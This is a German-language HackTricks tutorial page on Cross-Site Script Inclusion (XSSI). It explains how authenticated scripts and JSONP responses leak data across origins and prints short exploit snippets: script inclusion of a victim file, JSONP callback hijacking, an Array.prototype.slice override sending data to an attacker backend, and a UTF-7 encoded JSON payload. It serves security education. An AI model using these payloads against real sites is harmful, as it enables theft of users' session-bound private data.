XSSI (Cross-Site Script Inclusion)

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Cross-Site Script Inclusion (XSSI) ist eine Sicherheitslücke, die sich aus der Natur des script-Tags in HTML ergibt. Im Gegensatz zu den meisten Ressourcen, die der Same-Origin Policy (SOP) unterliegen, können Skripte von verschiedenen Domains eingebunden werden. Dieses Verhalten soll die Verwendung von Bibliotheken und anderen Ressourcen erleichtern, die auf verschiedenen Servern gehostet werden, birgt jedoch auch ein potentielles Sicherheitsrisiko.

Hauptmerkmale von XSSI:

  • Umgehung der SOP: Skripte sind von der Same-Origin Policy ausgenommen und können daher über Domains hinweg eingebunden werden.

  • Datenexposition: Ein Angreifer kann dieses Verhalten ausnutzen, um über den script-Tag geladene Daten zu lesen.

  • Auswirkungen auf dynamisches JavaScript/JSONP: XSSI ist besonders relevant für dynamisches JavaScript oder JSON mit Padding (JSONP). Diese Technologien verwenden häufig "ambient-authority" Informationen (wie Cookies) zur Authentifizierung. Wenn eine Skriptanfrage an einen anderen Host gestellt wird, werden diese Anmeldeinformationen (z. B. Cookies) automatisch in der Anfrage enthalten.

  • Leckage von Authentifizierungstoken: Wenn ein Angreifer den Browser eines Benutzers dazu bringen kann, ein Skript von einem von ihnen kontrollierten Server anzufordern, könnte er auf sensible Informationen zugreifen, die in diesen Anfragen enthalten sind.

Typen

  1. Statisches JavaScript - Dies repräsentiert die herkömmliche Form von XSSI.

  2. Statisches JavaScript mit Authentifizierung - Dieser Typ ist besonders, da er eine Authentifizierung erfordert, um darauf zuzugreifen.

  3. Dynamisches JavaScript - Involviert JavaScript, das dynamisch Inhalte generiert.

  4. Nicht-JavaScript - Bezieht sich auf Sicherheitslücken, die nicht direkt JavaScript betreffen.

Die folgenden Informationen sind eine Zusammenfassung von https://www.scip.ch/en/?labs.20160414. Überprüfen Sie es für weitere Details.

Reguläres XSSI

Bei diesem Ansatz wird private Information in einer global zugänglichen JavaScript-Datei eingebettet. Angreifer können diese Dateien mithilfe von Methoden wie Dateilesevorgängen, Schlüsselwortsuchen oder regulären Ausdrücken identifizieren. Sobald die Skriptdatei mit privaten Informationen gefunden wurde, kann sie in bösartigen Inhalten eingebunden werden, um unbefugten Zugriff auf sensible Daten zu ermöglichen. Eine Beispiel-Ausbeutungstechnik wird unten gezeigt:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dynamisch-JavaScript-basierte-XSSI und Authentifizierte-JavaScript-XSSI

Diese Arten von XSSI-Angriffen beinhalten vertrauliche Informationen, die dynamisch als Antwort auf eine Benutzeranfrage zum Skript hinzugefügt werden. Die Erkennung kann durch das Senden von Anfragen mit und ohne Cookies erfolgen und das Vergleichen der Antworten. Wenn sich die Informationen unterscheiden, kann dies auf das Vorhandensein vertraulicher Informationen hinweisen. Dieser Prozess kann mithilfe von Tools wie der DetectDynamicJS Burp-Erweiterung automatisiert werden.

Wenn vertrauliche Daten in einer globalen Variablen gespeichert sind, können sie mit ähnlichen Methoden wie bei regulärem XSSI ausgenutzt werden. Wenn die vertraulichen Daten jedoch in einer JSONP-Antwort enthalten sind, können Angreifer die Callback-Funktion kapern, um die Informationen abzurufen. Dies kann entweder durch Manipulation globaler Objekte oder durch Einrichten einer Funktion erfolgen, die durch die JSONP-Antwort ausgeführt wird, wie unten gezeigt:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Für Variablen, die sich nicht im globalen Namensraum befinden, kann manchmal Prototyp-Manipulation ausgenutzt werden. Diese Technik nutzt das Design von JavaScript aus, bei dem die Code-Interpretation das Durchlaufen der Prototypenkette beinhaltet, um die aufgerufene Eigenschaft zu lokalisieren. Indem bestimmte Funktionen wie slice von Array überschrieben werden, können Angreifer auf nicht-globale Variablen zugreifen und diese offenlegen:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Weitere Details zu Angriffsvektoren finden Sie in der Arbeit des Sicherheitsforschers Sebastian Lekies, der eine Liste von Vektoren pflegt.

Non-Script-XSSI

Die Forschung von Takeshi Terada stellt eine weitere Form von XSSI vor, bei der Nicht-Skriptdateien wie CSV über Cross-Origin-Leaks durch das Einbinden als Quellen in einem script-Tag ausgenutzt werden. Historische Fälle von XSSI, wie der Angriff von Jeremiah Grossman im Jahr 2006, um ein vollständiges Google-Adressbuch zu lesen, und der JSON-Datenleck-Angriff von Joe Walker im Jahr 2007, verdeutlichen die Schwere dieser Bedrohungen. Darüber hinaus beschreibt Gareth Heyes eine Angriffsvariante, bei der UTF-7-kodierte JSON verwendet wird, um das JSON-Format zu umgehen und Skripte auszuführen, was in bestimmten Browsern wirksam ist:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated